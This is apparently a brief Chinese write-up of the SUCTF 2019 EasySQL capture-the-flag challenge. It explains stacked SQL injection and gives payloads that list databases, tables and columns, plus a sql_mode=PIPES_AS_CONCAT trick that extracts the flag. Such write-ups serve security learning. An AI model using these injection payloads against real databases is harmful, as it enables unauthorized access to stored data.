[SUCTF 2019]EasySQL
知识点
- 堆叠注入
- sql_mode
打开题目,如图

堆叠注入
查库
1;show databases;

查表
1;show tables;

查Flag
1;show columns from Flag;

wp给的payload
payload:1;set sql_mode=PIPES_AS_CONCAT;SELECT 1
修改sql_mode,将其设置为PIPES_AS_CONCAT,作用是将"||"作为字符串连接符而非或运算符,修改后实际语句为
SELECT 1;set sql_mode=PIPES_AS_CONCAT;SELECT 1 || flag FROM Flag

本地环境

修改sql_mode,将其设置为PIPES_AS_CONCAT,则将select 1的结果和select flag from Flag的结果合并起来一起输出,就会变成


浙公网安备 33010602011771号